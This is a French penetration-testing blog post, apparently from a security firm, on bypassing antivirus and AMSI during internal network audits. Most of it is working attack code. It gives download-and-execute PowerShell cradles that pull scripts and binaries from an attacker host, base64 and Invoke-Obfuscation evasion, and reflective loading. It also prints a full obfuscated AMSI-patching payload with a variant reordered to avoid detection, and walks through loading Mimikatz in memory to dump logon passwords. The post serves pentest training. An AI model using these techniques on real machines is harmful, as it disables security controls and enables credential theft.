Techniques de contournement d'antivirus

JonathanLe 10 mars 2022

Techniques de contournement d'antivirus

Qui n'a jamais été bloqué par un antivirus lors de l'exécution d'un Mimikatz qui pourtant semble essentiel pour devenir administrateur du domaine ? Dans cet article, nous allons aborder différentes techniques qui ont fonctionné alors que l'antivirus était opérationnel et plutôt efficace car couplé avec Defender et dont certaines fonctionnalités, comme l'HIPS et l'analyse comportementale, activées.

Bien que ces techniques peuvent être utilisées lors de différentes missions, nous faisons un focus sur les missions d'audit de réseau interne (ou LAN) où les clients disposent de solution antivirale réduisant les mouvements de latéralisation et l'avancée du pentest.

Prérequis et bases

Dans un premier temps, il faut faire une distinction entre les différentes façons d'exécuter un outil en fonction du langage dans lequel il est rédigé et la façon dont il est compilé. En effet, les techniques à utiliser diffèrent selon si l'on veut exécuter un PowerShell ou un Exe.

  • Script PowerShell : les scripts PowerShell sont très utiles pour exécuter différentes actions car ils ne requièrent pas de compilation et peuvent être facilement téléchargés et exécutés.
  • DLL : les DLL sont des librairies de fonctionnalités qui peuvent être utilisées par plusieurs programmes. Elles peuvent être développées dans différents langages, mais nécessitent une compilation pour être utilisées.
  • Exe: Tout comme les DLL, les fichiers .exe sont des programmes compilés. Seulement, ces derniers disposent d'une fonction principale (main) et donc leurs arguments doivent être saisies au moment de l'exécution du fichier contrairement à la DLL.

Une autre différence doit être faite entre les langages de programmation C# ou .NET et C ou C++. En effet, ces différentes langages peuvent être utilisés pour créer des DLL ou des EXE. Cependant, la façon de les utiliser va légèrement différer.

Script PowerShell

Commençons par présenter deux techniques qui, bien que détectées par les antivirus, permettront de comprendre les principes explicités par la suite.

Désactiver la restriction d'exécution

Sur de nombreux postes utilisateurs, il se peut qu'une politique de sécurité bloque l'utilisation et l'exécution de scripts PowerShell. Bien que cette protection existe, elle n'est pas parfaite et peut facilement être contournée :

Utilisation d'une commande

Set-ExecutionPolicy Bypass -Scope Process -Force

Cette commande contourne la politique de sécurité déployée uniquement dans la console PowerShell courante. Il existe plusieurs variantes de cette commande

Utilisation de PowerShell ISE

Lorsqu'un accès sur la machine est disponible, charger le script dans PowerShell ISE permet d'éviter l'enregistrement sur disque, et bien souvent, de contourner la politique de sécurité.

Exécution des scripts en mémoire

L'exécution en mémoire des scripts PowerShell est un autre moyen de contourner la politique d'exécution en cours. Pour ce faire, il faut un serveur (web, SMB ou FTP en fonction des restrictions imposées par le firewall) sur lequel est stocké le script PowerShell. Il faut ensuite le télécharger et l'exécuter.

# Sur le poste attaquant : ouvrir un serveur
python -m http.server <port>        # web
smbserver.py <Share> . -smb2support # SMB
# Sur le poste client 
# Via Web
IEX(new-object net.webclient).downloadString("http://<@IP_attaquant>:<port>/<filename>.ps1")

# Via SMB
. \\<@IP_attaquant>\<Share>\<filename>.ps1

Ces deux exemples permettent d'exécuter le script PowerShell sans toucher le disque. Si jamais le script est un module, il sera alors chargé en mémoire et pourra être invoqué par la suite. Par exemple :

IEX(new-object net.webclient).downloadString("http://<@IP_attaquant>:<port>/Invoke-ReflectivePEInjection.ps1")
Invoke-ReflectivePEInjection 

D'autres contournements existent pour exécuter des scripts PowerShell, malgré une restriction. Voici une liste d'articles qui donnent différentes techniques pour contourner la politique d'exécution :

Obfuscation des scripts PowerShell

Parfois, les scripts PowerShell peuvent être détectés comme malveillants et leur exécution est bloquée. Il existe plusieurs façons d'obfusquer les scripts pour qu'ils soient exécutés.

Détecté lors du téléchargement

Si le script est bloqué lors du téléchargement, l'encodage base64 peut suffire.

# Côté attaquant
base64 <script>.ps1 > <script>-b64.txt

# Côte client
IEX([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String((New-Object net.WebClient).DownloadString('http://<@IP_adresse>:<port>/<script>-b64.txt'))))

Détecté lors de l'exécution

Si le script est bloqué lors de l'exécution, l'antivirus détecte sûrement les noms des commandes et des fonctions au sein du script comme malveillants. Il faut donc modifier le nom de certaines fonctions pour éviter leur détection. Cette action peut être réalisée manuellement ou à l'aide d'un outil pour automatiser la tâche. Il en existe plusieurs sur Internet et Github, tel que Invoke-Obfuscation, 1 qui le fait et très bien =)

git clone https://github.com/danielbohannon/Invoke-Obfuscation.git
cd Invoke-Obfuscation
Import-Module ./Invoke-Obfuscation.psd1
Invoke-Obfuscation

Il faut ensuite télécharger le script encodé et l'exécuter en mémoire directement.

Exécution d'outils (Exe ou DLL)

L'exécution d'un script PowerShell n'est parfois pas suffisant pour avancer dans la compromission d'un poste utilisateur et il peut être intéressant de lancer d'autres outils du type Mimikatz, Win-PEAS, etc. Cependant, ces programmes ne sont pas des scripts mais des logiciels compilés et bien souvent détectés par les antivirus.

De plus, l'encodage en base64, bien que fonctionnel, est inutile sur des exécutables (ou des binaires exécutables) car la modification de ces derniers ne permet plus de l'exécuter.

Il reste cependant quelques solutions pour exécuter nos outils compilés. Mais cela dépend du langage utilisé lors du développement.

Programme en C-sharp

Le programme compilé est développé en C# ou .NET, il est possible via une console PowerShell (ou directement depuis un script) de charger le programme en mémoire et de l'exécuter. Cependant, il doit répondre à deux exigences :

  • Être développé en C# ou .NET avec le code source accessible ou modifiable
  • Avoir sa classe Main déclarée en public.

En effet, si la classe Main est déclarée en private dans le code, alors cette technique ne fonctionnera pas.

Si ces deux exigences sont réunies, il est alors possible d'effectuer la technique Reflective Assembly.

# Via Web
$exe=[System.Reflection.Assembly]::Load([byte[]](Invoke-WebRequest "http://<@IP_attaquant>:<port>/<filename>.exe" -UseBasicParsing | Select-Object -ExpandProperty Content));
$exe=[System.Reflection.Assembly]::Load([byte[]]((new-object net.webclient).downloadString("http://<@IP_attaquant>:<port>/<filename>.exe"));
[<filename>.Program]::Main("")

# From disk
$exe=[System.Reflection.Assembly]::Load([byte[]]([IO.File]::ReadAllBytes("D:\path\<filename>.exe")));
[<filename>.Program]::Main("")

Les parties les plus importantes sont le [System.Reflection.Assembly] et [filename.Program]::Main(""). En effet, le premier élément permet de charger dans la mémoire le programme alors que le deuxième permet de l'exécuter. Si jamais le projet ne déclare pas la classe Main en public, la deuxième partie n'est pas réalisable.

S3cur3Th1sSh1t a mis à disposition sur son Github le projet PowerSharpPack. Ce dernier applique cette technique sur plusieurs projets open-source d'outils en C# comme WinPEAS ou SeatBelt. Il met à disposition la version compilée de chaque binaire, avec la classe Main en public. Ainsi, il est possible d'utiliser chaque outil indépendamment, ou alors utiliser son script PowerSharpPack.ps1, qui charge tous les binaires directement en mémoire.

AMSI quand tu nous tiens...

Si l'AMSI est actif sur le poste, il se peut que la méthode présentée ci-dessus ne fonctionne pas. Tout du moins l'exécution du programme sera bloquée. Mais pas de panique, va prendre un café, détends-toi et suis ce qui arrive ;).

Si jamais l'AMSI te rend la vie difficile, rien de mieux que le site AMSI.FAIL. Il s'agit d'un générateur de payload PowerShell pour désactiver l'AMSI sur le processus PowerShell en cours. Après quelques tests et des conseils, il est recommandé d'utiliser la payload de RastaMouse qui ressemble à cela :

#Rasta-mouses Amsi-Scan-Buffer patch \n
$cyjjg = @"
using System;
using System.Runtime.InteropServices;
public class cyjjg {
    [DllImport("kernel32")]
    public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
    [DllImport("kernel32")]
    public static extern IntPtr LoadLibrary(string name);
    [DllImport("kernel32")]
    public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr ogooiv, uint flNewProtect, out uint lpflOldProtect);
}
"@

Add-Type $cyjjg

$ordzwwe = [cyjjg]::LoadLibrary("$([CHAr](97+17-17)+[ChAR]([BytE]0x6d)+[ChAr](115)+[Char](38+67)+[char]([bYtE]0x2e)+[ChAR](100)+[CHAR]([BYte]0x6c)+[ChaR](108*20/20))")
$xeappa = [cyjjg]::GetProcAddress($ordzwwe, "$(('ÄmsíScänBu'+'ffer').NOrMalIZe([CHAR]([ByTe]0x46)+[Char](15+96)+[CHAr](114*106/106)+[CHaR]([bYte]0x6d)+[CHaR]([bYTE]0x44)) -replace [cHaR]([bYTe]0x5c)+[cHaR](112)+[chAR](123)+[chAr]([bYte]0x4d)+[ChAr]([byTe]0x6e)+[CHAR](125+45-45))")
$p = 0
[cyjjg]::VirtualProtect($xeappa, [uint32]5, 0x40, [ref]$p)
$stue = "0xB8"
$vgbo = "0x57"
$obqc = "0x00"
$vxpq = "0x07"
$puyz = "0x80"
$lzkc = "0xC3"
$naiiu = [Byte[]] ($stue,$vgbo,$obqc,$vxpq,+$puyz,+$lzkc)
[System.Runtime.InteropServices.Marshal]::Copy($naiiu, 0, $xeappa, 6)

Si ta payload n'est pas exactement la même, c'est normal. Elles sont générées de manière obfusquée et donc elles sont différentes à chaque génération.

Pour maximiser les chances de réussite, il convient de modifier quelque peu la payload en inversant plusieurs lignes :

#Rasta-mouses Amsi-Scan-Buffer patch \n
$cyjjg = @"
using System;
using System.Runtime.InteropServices;
public class cyjjg {
    [DllImport("kernel32")]
    public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
    [DllImport("kernel32")]
    public static extern IntPtr LoadLibrary(string name);
    [DllImport("kernel32")]
    public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr ogooiv, uint flNewProtect, out uint lpflOldProtect);
}
"@

Add-Type $cyjjg

$ordzwwe = [cyjjg]::LoadLibrary("$([CHAr](97+17-17)+[ChAR]([BytE]0x6d)+[ChAr](115)+[Char](38+67)+[char]([bYtE]0x2e)+[ChAR](100)+[CHAR]([BYte]0x6c)+[ChaR](108*20/20))")
$xeappa = [cyjjg]::GetProcAddress($ordzwwe, "$(('ÄmsíScänBu'+'ffer').NOrMalIZe([CHAR]([ByTe]0x46)+[Char](15+96)+[CHAr](114*106/106)+[CHaR]([bYte]0x6d)+[CHaR]([bYTE]0x44)) -replace [cHaR]([bYTe]0x5c)+[cHaR](112)+[chAR](123)+[chAr]([bYte]0x4d)+[ChAr]([byTe]0x6e)+[CHAR](125+45-45))")
$p = 0
[cyjjg]::VirtualProtect($xeappa, [uint32]5, 0x40, [ref]$p)
# Partie à modifier
$lzkc = "0xC3"
$stue = "0xB8"
$vxpq = "0x07"
$puyz = "0x80"
$vgbo = "0x57"
$obqc = "0x00"
# Fin
$naiiu = [Byte[]] ($stue,$vgbo,$obqc,$vxpq,+$puyz,+$lzkc)
[System.Runtime.InteropServices.Marshal]::Copy($naiiu, 0, $xeappa, 6)

Maintenant qu'il est possible de contourner l'AMSI, nous pouvons lancer les exécutables via PowerSharpPack.

Programme en C/C++

Si l'outil à utiliser est développé en C ou C++ (potentiellement d'autres langages), la technique présentée juste au-dessus ne fonctionne pas. Donc comme tu l'auras deviné, tu ne peux pas exécuter Mimikatz avec la précédente technique. Le projet Nishang avec le fameux et très connu Invoke-Mimikatz fonctionne à merveille et est en Powershell, mais ce n'est pas du reflective assembly.

Donc tu l'auras compris, il existe une solution pour exécuter nos payloads via PowerShell et directement en mémoire, même sans utiliser le reflective assembly. Il s'agit d'un composant du projet PowerSploit qui s'appelle Invoke-ReflectivePEInjection.

Ce projet permet de charger un EXE ou une DLL directement dans la mémoire du processus PowerShell courant. Pour effectuer cette technique, il faut donc procéder en trois étapes :

  1. Charger le module Invoke-ReflectivePEInjection
  2. Récupérer la payload à exécuter
  3. Exécuter la payload et enjoy
# Étape 1
IEX(new-object net.webclient).downloadString("http://<@IP_attaquant>:<port>/Invoke-ReflectivePEInjection.ps1")
# Étape 2
$inputstring = (new-object net.webclient).downloadString("http://<@IP_attaquant>:<port>/<filename>.exe")
# Étape 3
Invoke-ReflectivePEInjection -PEBytes $inputstring -ExeArgs "" -ForceASLR -Verbose

Petit bonus, le full exemple qui marche bien

Dans cet exemple, l'objectif consiste à mixer les différentes techniques pour parvenir à exécuter notre EXE de manière discrète et invisible pour l'antivirus.

  • La première étape consiste à préparer notre attaque. Il faut donc obfusquer les différents scripts PowerShell qui seront exécutés, à savoir Invoke-ReflectivePEInjection.ps1.
  • Dans la seconde étape, il faut préparer la payload pour la rendre discrète. Sans aller dans l'overkill, l'utilisation de l'encodage base64 peut convenir dans un premier temps. Pour assurer la discrétion et prévenir d'une détection, il faut également diviser en plusieurs parties la payload b64.
  • Dans les prochaines étapes, il faut télécharger et exécuter en mémoire les différents éléments.

Pour cet exemple, les machines utilisées seront configurées comme suit :

  • machine de l'attaquant : 192.168.56.1
  • machine de l'utilisateur : 192.168.56.5

Par principe, nous allons essayer d'exécuter notre script Invoke-ReflectivePEInjection.ps1 sans l'encoder. Sans surprise, le résultat est le suivant :

IEX(new-object net.webclient).downloadString("http://192.168.56.1:8080/algoPE.ps1")
IEX : Au caractère Ligne:1 : 1
+ function Invoke-ReflectivePEInjection
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Ce script dont le contenu est malveillant a été bloqué par votre logiciel antivirus.
Au caractère Ligne:1 : 1
+ IEX(new-object net.webclient).downloadString("http://192.168.56.1:808 ...
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : ParserError: (:) [Invoke-Expression], ParseException
    + FullyQualifiedErrorId : ScriptContainedMaliciousContent,Microsoft.PowerShell.Commands.InvokeExpressionCommand

Injection du script powershell non encodé

Il faut donc l'encoder pour l'utiliser et poursuivre notre attaque. Après avoir utilisé l'outil Invoke-Obfuscation, nous générons le fichier algoPE-enc.ps1. Cette fois le résultat est positif, et le script a enfin pu être chargé en mémoire.

IEX(new-object net.webclient).downloadString("http://192.168.56.1:8080/algoPE-enc.ps1")

Injection du script powershell encodé

Il sera alors possible d'effectuer les autres actions et exécuter notre outils (Mimikatz) sur le poste de l'utilisateur.

# Sur le poste de l'attaquant
# Encoder la payload
cd /Mimikatz 
base64 Mimikatz.exe > mimib64.txt

# Sur le poste de la utilisateur
$inputstring2 = (new-object net.webclient).downloadString("http://192.168.56.1:8080/mimib64.txt")
# Reconstruction et décodage de la payload au moment de l'exécution 
Invoke-ReflectivePEInjection -PEBytes ([System.convert]::FromBase64String($inputstring2)) -ExeArgs "sekurlsa::logonpasswords exit" -ForceASLR -Verbose

Exécution de Mimikatz

Nous sommes finalement parvenus à exécuter notre outil Mimikatz. Même si la capture d'écran montre une erreur, il s'agit simplement d'une protection active sur le poste de l'utilisateur qui bloque la lecture du processus LSASS. Heureusement, cette protection peut être contournée et fera l'objet d'un autre article 😉.

Conclusion

Dans cet article, plusieurs techniques ont été présentées permettant de contourner des antivirus configurés par défaut ou paramétrés avec différentes options comme l'HIPS par exemple. Cependant, cet article est loin d'être exhaustif et d'autres techniques, très intéressantes, peuvent être utilisées voire plus adaptées dans des contextes spécifiques. S'agissant du jeu du chat et de la souris entre les attaquants et les sociétés d'antivirus, il est possible que certaines techniques présentées ne soient plus fonctionnelles à l'heure où vous lirez ces lignes.

À noter, toutes les techniques abordées nécessitent un accès distant ou local sur le poste de l'utilisateur. Il faut donc dans un premier temps parvenir à obtenir un accès utilisateur ou administrateur (en fonction de l'outil à utiliser) pour ensuite exécuter les commandes de cet article. Cela fera l'objet d'un autre article de blog, bientôt 😉.

You've enabled "Do Not Track" in your browser, we respect that choice and don't track your visit on our website.